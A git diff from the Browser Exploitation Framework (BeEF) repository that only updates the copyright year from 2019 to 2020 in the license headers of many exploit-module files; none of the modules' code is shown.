# -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_return_long_string/module.rb b/modules/debug/test_return_long_string/module.rb index cb9b50f7f..59618da9d 100644 --- a/modules/debug/test_return_long_string/module.rb +++ b/modules/debug/test_return_long_string/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/apache_cookie_disclosure/command.js b/modules/exploits/apache_cookie_disclosure/command.js index bea30ea1e..4e3361520 100644 --- a/modules/exploits/apache_cookie_disclosure/command.js +++ b/modules/exploits/apache_cookie_disclosure/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/apache_cookie_disclosure/config.yaml b/modules/exploits/apache_cookie_disclosure/config.yaml index 9074eb648..ccb7834f9 100644 --- a/modules/exploits/apache_cookie_disclosure/config.yaml +++ b/modules/exploits/apache_cookie_disclosure/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/apache_cookie_disclosure/module.rb b/modules/exploits/apache_cookie_disclosure/module.rb index f9a8a54dd..c9260a168 100644 --- a/modules/exploits/apache_cookie_disclosure/module.rb +++ b/modules/exploits/apache_cookie_disclosure/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/apache_felix_remote_shell/command.js b/modules/exploits/apache_felix_remote_shell/command.js index 9dda3392d..91dc8d80a 100644 --- a/modules/exploits/apache_felix_remote_shell/command.js +++ b/modules/exploits/apache_felix_remote_shell/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/apache_felix_remote_shell/config.yaml b/modules/exploits/apache_felix_remote_shell/config.yaml index cf0564c0d..1e13b0f63 100644 --- a/modules/exploits/apache_felix_remote_shell/config.yaml +++ b/modules/exploits/apache_felix_remote_shell/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/apache_felix_remote_shell/module.rb b/modules/exploits/apache_felix_remote_shell/module.rb index 49aae85c8..facf425d1 100644 --- a/modules/exploits/apache_felix_remote_shell/module.rb +++ b/modules/exploits/apache_felix_remote_shell/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/command.js b/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/command.js index 0cb825096..f3a251222 100644 --- a/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/command.js +++ b/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/config.yaml b/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/config.yaml index 0229a3632..883b3717d 100755 --- a/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/config.yaml +++ b/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/module.rb b/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/module.rb index ad0301fb6..27a7f3fb7 100755 --- a/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/module.rb +++ b/modules/exploits/beefbind/beef_bind_exploits/active_fax_beef_bind/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/command.js b/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/command.js index 943f337a0..2e985108f 100755 --- a/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/command.js +++ b/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/config.yaml b/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/config.yaml index 77efdb5bc..28a8b3c31 100755 --- a/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/config.yaml +++ b/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/module.rb b/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/module.rb index 704b33f1a..689f19986 100755 --- a/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/module.rb +++ b/modules/exploits/beefbind/beef_bind_exploits/eudora_mail_beef_bind/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/beefbind/beef_bind_shell/command.js b/modules/exploits/beefbind/beef_bind_shell/command.js index 58f039182..0f57f4e73 100755 --- a/modules/exploits/beefbind/beef_bind_shell/command.js +++ b/modules/exploits/beefbind/beef_bind_shell/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/beefbind/beef_bind_shell/config.yaml b/modules/exploits/beefbind/beef_bind_shell/config.yaml index 6f2f28ed0..e701a56cb 100755 --- a/modules/exploits/beefbind/beef_bind_shell/config.yaml +++ b/modules/exploits/beefbind/beef_bind_shell/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/beefbind/beef_bind_shell/module.rb b/modules/exploits/beefbind/beef_bind_shell/module.rb index 4495bdbd1..913784f17 100755 --- a/modules/exploits/beefbind/beef_bind_shell/module.rb +++ b/modules/exploits/beefbind/beef_bind_shell/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/beefbind/shellcode_sources/linux/x64/socket64.c b/modules/exploits/beefbind/shellcode_sources/linux/x64/socket64.c index c684f95f7..04764fbd8 100755 --- a/modules/exploits/beefbind/shellcode_sources/linux/x64/socket64.c +++ b/modules/exploits/beefbind/shellcode_sources/linux/x64/socket64.c @@ -1,5 +1,5 @@ /** - Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net Browser Exploitation Framework (BeEF) - http://beefproject.com See the file 'doc/COPYING' for copying permission diff --git a/modules/exploits/beefbind/shellcode_sources/linux/x86/socket.c b/modules/exploits/beefbind/shellcode_sources/linux/x86/socket.c index 5a25ad58c..eb3980365 100644 --- a/modules/exploits/beefbind/shellcode_sources/linux/x86/socket.c +++ b/modules/exploits/beefbind/shellcode_sources/linux/x86/socket.c @@ -1,5 +1,5 @@ /** - Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net Browser Exploitation Framework (BeEF) - http://beefproject.com See the file 'doc/COPYING' for copying permission diff --git a/modules/exploits/beefbind/shellcode_sources/linux/x86/stage.nasm b/modules/exploits/beefbind/shellcode_sources/linux/x86/stage.nasm index fdb6a9b6d..d5e4233de 100644 --- a/modules/exploits/beefbind/shellcode_sources/linux/x86/stage.nasm +++ b/modules/exploits/beefbind/shellcode_sources/linux/x86/stage.nasm @@ -1,4 +1,4 @@ -; Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +; Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net ; Browser Exploitation Framework (BeEF) - http://beefproject.com ; See the file 'doc/COPYING' for copying permission diff --git a/modules/exploits/beefbind/shellcode_sources/linux/x86/stager.nasm b/modules/exploits/beefbind/shellcode_sources/linux/x86/stager.nasm index 9482a2ef6..07dfcf602 100644 --- a/modules/exploits/beefbind/shellcode_sources/linux/x86/stager.nasm +++ b/modules/exploits/beefbind/shellcode_sources/linux/x86/stager.nasm @@ -1,4 +1,4 @@ -; Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +; Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net ; Browser Exploitation Framework (BeEF) - http://beefproject.com ; See the file 'doc/COPYING' for copying permission diff --git a/modules/exploits/beefbind/shellcode_sources/windows/socket.c b/modules/exploits/beefbind/shellcode_sources/windows/socket.c index 60413861f..a1454265d 100644 --- a/modules/exploits/beefbind/shellcode_sources/windows/socket.c +++ b/modules/exploits/beefbind/shellcode_sources/windows/socket.c @@ -1,5 +1,5 @@ /** - Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net Browser Exploitation Framework (BeEF) - http://beefproject.com See the file 'doc/COPYING' for copying permission diff --git a/modules/exploits/boastmachine_3_1_add_user_csrf/command.js b/modules/exploits/boastmachine_3_1_add_user_csrf/command.js index aca007972..7ec3c2b45 100644 --- a/modules/exploits/boastmachine_3_1_add_user_csrf/command.js +++ b/modules/exploits/boastmachine_3_1_add_user_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/boastmachine_3_1_add_user_csrf/config.yaml b/modules/exploits/boastmachine_3_1_add_user_csrf/config.yaml index e8372b8f7..599274b2b 100644 --- a/modules/exploits/boastmachine_3_1_add_user_csrf/config.yaml +++ b/modules/exploits/boastmachine_3_1_add_user_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/boastmachine_3_1_add_user_csrf/module.rb b/modules/exploits/boastmachine_3_1_add_user_csrf/module.rb index aa9f219e3..f4dd5e316 100644 --- a/modules/exploits/boastmachine_3_1_add_user_csrf/module.rb +++ b/modules/exploits/boastmachine_3_1_add_user_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/camera/airlive_ip_camera_csrf/command.js b/modules/exploits/camera/airlive_ip_camera_csrf/command.js index 1d32ea62f..0c3daee80 100644 --- a/modules/exploits/camera/airlive_ip_camera_csrf/command.js +++ b/modules/exploits/camera/airlive_ip_camera_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/camera/airlive_ip_camera_csrf/config.yaml b/modules/exploits/camera/airlive_ip_camera_csrf/config.yaml index dcd51dee9..25e0b6036 100644 --- a/modules/exploits/camera/airlive_ip_camera_csrf/config.yaml +++ b/modules/exploits/camera/airlive_ip_camera_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/camera/airlive_ip_camera_csrf/module.rb b/modules/exploits/camera/airlive_ip_camera_csrf/module.rb index 1317191a5..0da4ffe7c 100644 --- a/modules/exploits/camera/airlive_ip_camera_csrf/module.rb +++ b/modules/exploits/camera/airlive_ip_camera_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/camera/dlink_dcs_series_csrf/command.js b/modules/exploits/camera/dlink_dcs_series_csrf/command.js index ade15898f..1f5eb439d 100644 --- a/modules/exploits/camera/dlink_dcs_series_csrf/command.js +++ b/modules/exploits/camera/dlink_dcs_series_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/camera/dlink_dcs_series_csrf/config.yaml b/modules/exploits/camera/dlink_dcs_series_csrf/config.yaml index bf9f9f85f..6f478fb41 100644 --- a/modules/exploits/camera/dlink_dcs_series_csrf/config.yaml +++ b/modules/exploits/camera/dlink_dcs_series_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/camera/dlink_dcs_series_csrf/module.rb b/modules/exploits/camera/dlink_dcs_series_csrf/module.rb index 074817b1c..3b8390447 100644 --- a/modules/exploits/camera/dlink_dcs_series_csrf/module.rb +++ b/modules/exploits/camera/dlink_dcs_series_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/command.js b/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/command.js index ed03ecafc..bf4578391 100644 --- a/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/command.js +++ b/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/config.yaml b/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/config.yaml index bfd2887a5..a518b8467 100644 --- a/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/config.yaml +++ b/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/module.rb b/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/module.rb index a8078086d..51bfc6396 100644 --- a/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/module.rb +++ b/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/coldfusion_dir_traversal_exploit/command.js b/modules/exploits/coldfusion_dir_traversal_exploit/command.js index 60b873144..392d0d439 100644 --- a/modules/exploits/coldfusion_dir_traversal_exploit/command.js +++ b/modules/exploits/coldfusion_dir_traversal_exploit/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/coldfusion_dir_traversal_exploit/config.yaml b/modules/exploits/coldfusion_dir_traversal_exploit/config.yaml index 02376754e..6634f1ec2 100644 --- a/modules/exploits/coldfusion_dir_traversal_exploit/config.yaml +++ b/modules/exploits/coldfusion_dir_traversal_exploit/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/coldfusion_dir_traversal_exploit/module.rb b/modules/exploits/coldfusion_dir_traversal_exploit/module.rb index 8f8f102c9..ff070a1c6 100644 --- a/modules/exploits/coldfusion_dir_traversal_exploit/module.rb +++ b/modules/exploits/coldfusion_dir_traversal_exploit/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/extract_cmd_exec/command.js b/modules/exploits/extract_cmd_exec/command.js index d3cdd8989..6aee494e6 100644 --- a/modules/exploits/extract_cmd_exec/command.js +++ b/modules/exploits/extract_cmd_exec/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/extract_cmd_exec/config.yaml b/modules/exploits/extract_cmd_exec/config.yaml index 1e4f43437..cfe8e99bd 100644 --- a/modules/exploits/extract_cmd_exec/config.yaml +++ b/modules/exploits/extract_cmd_exec/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/extract_cmd_exec/module.rb b/modules/exploits/extract_cmd_exec/module.rb index c22fef59a..5551441a9 100644 --- a/modules/exploits/extract_cmd_exec/module.rb +++ b/modules/exploits/extract_cmd_exec/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission ### diff --git a/modules/exploits/firephp/command.js b/modules/exploits/firephp/command.js index a450c91c1..555a1f939 100644 --- a/modules/exploits/firephp/command.js +++ b/modules/exploits/firephp/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/firephp/config.yaml b/modules/exploits/firephp/config.yaml index 6d177b662..8caebd661 100644 --- a/modules/exploits/firephp/config.yaml +++ b/modules/exploits/firephp/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/firephp/module.rb b/modules/exploits/firephp/module.rb index 200ee170a..d7cf2def1 100644 --- a/modules/exploits/firephp/module.rb +++ b/modules/exploits/firephp/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission ### diff --git a/modules/exploits/glassfish_war_upload_xsrf/command.js b/modules/exploits/glassfish_war_upload_xsrf/command.js index 88b1fa122..22eb02c87 100644 --- a/modules/exploits/glassfish_war_upload_xsrf/command.js +++ b/modules/exploits/glassfish_war_upload_xsrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/glassfish_war_upload_xsrf/config.yaml b/modules/exploits/glassfish_war_upload_xsrf/config.yaml index 03d31bd96..814a81bf2 100644 --- a/modules/exploits/glassfish_war_upload_xsrf/config.yaml +++ b/modules/exploits/glassfish_war_upload_xsrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/glassfish_war_upload_xsrf/module.rb b/modules/exploits/glassfish_war_upload_xsrf/module.rb index 2efd7ae81..8447dad40 100644 --- a/modules/exploits/glassfish_war_upload_xsrf/module.rb +++ b/modules/exploits/glassfish_war_upload_xsrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/groovyshell_server_cmd_exec/command.js b/modules/exploits/groovyshell_server_cmd_exec/command.js index 4b3ae22b7..c7860cb3b 100644 --- a/modules/exploits/groovyshell_server_cmd_exec/command.js +++ b/modules/exploits/groovyshell_server_cmd_exec/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/groovyshell_server_cmd_exec/config.yaml b/modules/exploits/groovyshell_server_cmd_exec/config.yaml index e43555c37..e69c9da39 100644 --- a/modules/exploits/groovyshell_server_cmd_exec/config.yaml +++ b/modules/exploits/groovyshell_server_cmd_exec/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/groovyshell_server_cmd_exec/module.rb b/modules/exploits/groovyshell_server_cmd_exec/module.rb index f852fa385..dc70b77de 100644 --- a/modules/exploits/groovyshell_server_cmd_exec/module.rb +++ b/modules/exploits/groovyshell_server_cmd_exec/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/hp_ucmdb_add_user_csrf/command.js b/modules/exploits/hp_ucmdb_add_user_csrf/command.js index 1d1174684..716fc5496 100644 --- a/modules/exploits/hp_ucmdb_add_user_csrf/command.js +++ b/modules/exploits/hp_ucmdb_add_user_csrf/command.js @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/modules/exploits/hp_ucmdb_add_user_csrf/config.yaml b/modules/exploits/hp_ucmdb_add_user_csrf/config.yaml index 2138ce12b..5690ae8b9 100644 --- a/modules/exploits/hp_ucmdb_add_user_csrf/config.yaml +++ b/modules/exploits/hp_ucmdb_add_user_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/hp_ucmdb_add_user_csrf/module.rb b/modules/exploits/hp_ucmdb_add_user_csrf/module.rb index e48e81ee6..708aeed52 100644 --- a/modules/exploits/hp_ucmdb_add_user_csrf/module.rb +++ b/modules/exploits/hp_ucmdb_add_user_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/jboss_jmx_upload_exploit/command.js b/modules/exploits/jboss_jmx_upload_exploit/command.js index 985d985d7..3cfc8569a 100644 --- a/modules/exploits/jboss_jmx_upload_exploit/command.js +++ b/modules/exploits/jboss_jmx_upload_exploit/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/jboss_jmx_upload_exploit/config.yaml b/modules/exploits/jboss_jmx_upload_exploit/config.yaml index c3062ac2e..9225fc5e6 100644 --- a/modules/exploits/jboss_jmx_upload_exploit/config.yaml +++ b/modules/exploits/jboss_jmx_upload_exploit/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/jboss_jmx_upload_exploit/module.rb b/modules/exploits/jboss_jmx_upload_exploit/module.rb index 5494aafca..bdef16d9a 100644 --- a/modules/exploits/jboss_jmx_upload_exploit/module.rb +++ b/modules/exploits/jboss_jmx_upload_exploit/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 